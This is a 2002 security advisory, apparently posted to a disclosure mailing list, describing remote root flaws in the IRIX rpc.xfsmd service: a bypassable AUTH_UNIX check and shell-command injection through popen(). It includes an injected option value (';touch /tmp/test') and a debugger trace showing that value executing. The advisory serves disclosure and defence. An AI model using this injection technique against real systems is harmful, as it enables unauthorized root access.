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[LSD] IRIX rpc.xfsmd multiple remote root vulnerabilities
From: Last Stage of Delirium <contact () lsd-pl net>
Date: Thu, 20 Jun 2002 15:19:51 -0700


We have found several remotely exploitable vulnerabilities in the IRIX rpc.xfsmd
service, which when properly exploited can result in an unauthorized root access
to the vulnerable system. SGI was informed about this issue and assigned this bug
number 858714.

Xfsmd service is installed and started by default on all versions of the
IRIX operating system starting from version 6.2 to 6.5.16 (after full OS
installation). This daemon provides functionality related with xfs file systems
and disk volumes (xlv) management. Xfsmd handles requests for file system
creation, mounting and unmounting. Through xfsmd, file systems' parameters can
be modified as well as the whole partitions can be managed. Xfsmd is registered
in IRIX operating system as RPC service number 391016.

There are multiple vulnerabilities in the xfsmd service. Below you will find
the detailed descriptions for all of them.

1. Weak authentication

The first problem with xfsmd service is its weak RPC authentication scheme
that is based on AUTH_UNIX RPC type. Such an authentication scheme can be
easily bypassed what in result creates the possibility to remotely call
potentially dangerous RPC functions, the ones that would allow to mount,
unomunt, create, delete or modify xfs file systems on a vulnerable host.
The possibility to perform such actions in the Unix system is obviously
equivalent to gaining root user privileges.

In our proof of concept code for the rpc.xfsmd, weak RPC authentication
scheme is exploited by forcing xfsmd to export any file system with read
and write privileges for everyone. Specifically, a call to xfsexport_1()
RPC function is made in order to accomplish this goal. Besides this function,
there are several others that can be called remotely by an attacker after
bypassing AUTH_UNIX authentication scheme. Below, we present some of them
and provide brief description of the action that can be performed upon
their use.

xfscreate_1()   - allows for the creation of new file systems
xfsedit_1()     - allows for modification of a given file systems' parameters
xfsexport_1()   - allows to export a given file system
xfsmount_1()    - allows to mount a given file system
xfsdelete_1()   - allows to delete a given file system

2. popen() vulnerabilities

The other vulnerability that we have found in xfsmd service is the result
of bad coding practice and the way popen() function is called throughout
the xfsmd code. Xfsmd RPC functions use the popen() call for invoking
several external programs, that provide it with required, file system
related functionality. As an argument to the popen() function call, a user
provided argument is given without any checks for shell metacharacter, such
as ';' or '''.

In our proof of concept code, the rpc.xfsmd popen() vulnerability is illustrated
in a case of RPC xfsexport_1() function call. When xfsexport_1() is invoked,
a function call to xfsExportInternal() is made. In xfsExportInternal(), first
some checks of user provided parameters are done and if successfull, a call to
xfs_export() is made. In this latter call a structure filled with user provided
arguments is created and it contains the name of the file system to be exported
and options for exportfs command, executed via popen(). In xfs_export(),
a call to external program /usr/etc/exportfs is made through the use of popen()
function. As export options passed to the called exportfs program come from
the user provided arguments, there exist an easy way to execute arbitrary commands
on the vulnerable IRIX system. It is only required that the option string for
the exportfs command should be constructed according to the ";command" scheme.
For example it could be set to ";touch /tmp/test" in order to execute "touch
/tmp/test" command.

Below you will find a trace of the xfsmd program execution done with the use of
our bptrace tool. It clearly illustrates the above description of the popen()
vulnerablity in xfsmd.


breakpoint trace [version 1.4]
copyright by LAST STAGE OF DELIRIUM 1998 Poland
    found 624 symbols
    624 breakpoints enabled, 0 disabled, 0 aliases
==> attaching process 325621 (/usr/etc/xfsmd)
[325621] 0x0fa397b4    1  memset(0x7fff26a0,0,128)
[325621] 0x0fa397ac    1  bzero(0x7fff288c,4)
[325621] 0x0fa397b4    2  memset(0x7fff288c,0,4)
[325621] 0x00421da0    1  xdr_nametype()
[325621] 0x0fb055e0    1  xdr_string()
[325621] 0x0fa2ea48    1  malloc(38)
---------------------
[325621] 0x0040ad40    1  xfsexport_1()
---------------------
[325621] 0x0040951c    1  xdr_free()
[325621] 0x00421e7c    1  xdr_xfs_result()
[325621] 0x00421da0    2  xdr_nametype()
[325621] 0x0fb055e0    2  xdr_string()
[325621] 0x0fa2f1d8    1  free(0x1001add8)
[325621] 0x0fb0516c    1  xdr_int()

Weak authenticate function
--------------------
[325621] 0x0040a6a4    1  authenticate()
--------------------
[325621] 0x0fa2f994    1  gethostname()
[325621] 0x0fa37008    1  strtok("symul",".")
[325621] 0x0fa2e640    1  strcpy(0x7fff1610,"symul")
[325621] 0x0fa4b0d0    1  getdomainname()
[325621] 0x0fa2fe38    1  strcat("symul",".")
[325621] 0x0fa2fe38    2  strcat("symul.","")
[325621] 0x0fa34330    1  strcmp("symul.","symul.")
-------------------
[325621] 0x0040f3bc    1  xfsExportInternal()
------------------
[325621] 0x0fa3972c    1  strdup("XFS_MNT_DIR:/tmp\nroot:;touch /tmp/test;")
[325621] 0x0fa2e590    2  strlen("XFS_MNT_DIR:/tmp\nroot:;touch /tmp/test;")
[325621] 0x0fa2ea48    2  malloc(38)
[325621] 0x0fa2e640    2  strcpy(0x1001add8,"XFS_MNT_DIR:/tmp\nroot:;touch /tmp/test;")
[325621] 0x0fa37008    2  strtok("XFS_MNT_DIR:/tmp\nroot:;touch /tmp/test;","\n")
[325621] 0x004193bc    1  xfsmGetKeyValue()
[325621] 0x0fa2e780    1  strchr("XFS_MNT_DIR:/tmp",':')
[325621] 0x0fa34330    2  strcmp("/tmp","false")
[325621] 0x0fa34330    3  strcmp("/tmp","FALSE")
[325621] 0x0fa34330    4  strcmp("XFS_MNT_DIR","XFS_FS_NAME")
[325621] 0x0fa2ea48    3  malloc(38)

.....

[325621] 0x0fa2e640    3  strcpy(0x1001a828,"XFS_MNT_DIR:/tmp\nroot:;touch /tmp/test;")
[325621] 0x0fa37008    5  strtok("XFS_MNT_DIR:/tmp\nroot:;touch /tmp/test;","\n")
[325621] 0x004193bc    3  xfsmGetKeyValue()
[325621] 0x0fa2e780    3  strchr("XFS_MNT_DIR:/tmp",':')
[325621] 0x0fa34330   11  strcmp("XFS_MNT_DIR","rw,root")
[325621] 0x0040ca98    1  create_option_str()
[325621] 0x0fa34330   12  strcmp("XFS_MNT_DIR","rw")
[325621] 0x0fa34330   13  strcmp("XFS_MNT_DIR","root")

.....

[325621] 0x0fa34498    1  realloc(0x100173c0,25)
[325621] 0x0fa2fe38    4  strcat("root=;touch /tmp/test;,","rw,")
[325621] 0x0fa2f9d4    1  strrchr("root=;touch /tmp/test;,rw,",',')
[325621] 0x0fa397b4    3  memset(0x1001a8a7,0,1)
[325621] 0x0fa2f1d8    2  free(0x1001a828)
---------------------------
[325621] 0x00414904    1  xfs_export()
---------------------------
[325621] 0x0041a750    1  isvalidmntpt()
[325621] 0x0fa2e780    5  strchr("/tmp",' ')
[325621] 0x0fa4d628    3  strstr("/tmp","/./")
[325621] 0x0fa4d628    4  strstr("/tmp","/../")
[325621] 0x0fa31494    1  strncmp("/tmp","/tmp/",5)
[325621] 0x0fa2e1a0    1  stat("/tmp",0x7ffef314)
[325621] 0x0041457c    1  export_fs()
[325621] 0x0fa3190c    2  sprintf(0x7ffef2a0,"/usr/etc/exportfs -i -o %s %s 2>&1",...)
[325621] 0x0fa2e590    8  strlen("root=;touch /tmp/test;,rw")
[325621] 0x0fa2e590    9  strlen("/tmp")

popen("/usr/etc/exportfs -i -o /tmp ;touch /tmp/test")
---------------------------
[325621] 0x00416890    1  xfs_popen()
---------------------------

[325621] 0x0fa3ef74    1  pipe(2147406432)
[325621] 0x0fa3dd98    1  fork()
==> process 325621 forking to 325091
==> attaching process 325091 (/usr/etc/xfsmd)
[325091] 0x0fa2e290    1  close(4)
[325621] 0x0fa2e290    1  close(5)
[325091] 0x0fa2e290    2  close(1)
[325621] 0x0fa56c44    1  fdopen()
[325091] 0x004098f0    1  fcntl(5,F_DUPFD,0x00000001)
[325621] 0x0fa307fc    1  fgets()
[325091] 0x0fa2e290    3  close(2)
[325621] 0x0fa2ea48    5  malloc(4104)
[325091] 0x0fa2e290    4  close(5)
[325621] 0x0fa34b0c    1  _cerror()
[325091] 0x00409904    1  execl("/sbin/sh","sh",...)
==> process 325091 executing /sbin/sh
    found 368 symbols
    368 breakpoints enabled, 0 disabled, 0 aliases
==> process 325091 forking to 325665
==> attaching process 325665 (/sbin/sh)
==> process 325665 executing /usr/etc/exportfs
    found 68 symbols
    68 breakpoints enabled, 0 disabled, 0 aliases
[325665] 0x100045c8    1  __istart()
[325665] 0x0fa33780    1  __readenv_sigfpe()
[325665] 0x10001b2c    1  main()
[325665] 0x10003364    1  parseargs()
[325665] 0x10001dbc    1  printexports()
[325665] 0x0fa33bf4    1  fopen("/etc/xtab","r")
[325665] 0x0fa8cd4c    1  getexportent()

........

[325621] 0x0fa2e640    5  strcpy(0x100173c0,"nothing exported\n")
[325621] 0x0fa307fc    2  fgets()
==> process 325665 terminated
==> process 325091 forking to 325653
==> attaching process 325653 (/sbin/sh)
==> process 325653 executing /bin/touch
    found 24 symbols
    24 breakpoints enabled, 0 disabled, 0 aliases
[325653] 0x0fa5cb88    1  close(4)
[325653] 0x100023e0    1  __istart()
[325653] 0x0fa33780    1  __readenv_sigfpe()
[325653] 0x10001ac8    1  main()

........

[325653] 0x0fa5cdbc    1  creat("/tmp/test",438)
[325653] 0x0fa5cb88    2  close(4)
[325653] 0x0fa58954    2  stat64()
[325653] 0x0fa56a2c    1  utime()
[325653] 0x0fa363b8    1  exit(0)
==> process 325653 terminated

Below, several other RPC functions are listed which can be successfully
exploited to run arbitrary commands with root user privileges on a remote
IRIX system through the bad use of popen() function call in xfsmd:

xfscreate_1()   - new file system creation
xfsexport_1()   - file system export
xfsunexport_1() - file system unexport
xfsmount_1()    - file system mount
xfsunmount_1()  - file system unmount

The proof of concept code illustrating the above mentioned IRIX Xfsmd
vulnerabilities can be found on our website at the following address:

   http://lsd-pl.net/files/get?IRIX/irx_xfsmd

Best regards,
Members of LSD Research Group


--------------------------------------------------------------------------------
Last Stage of Delirium Research Group
                                                                  *://lsd-pl.net
--------------------------------------------------------------------------------


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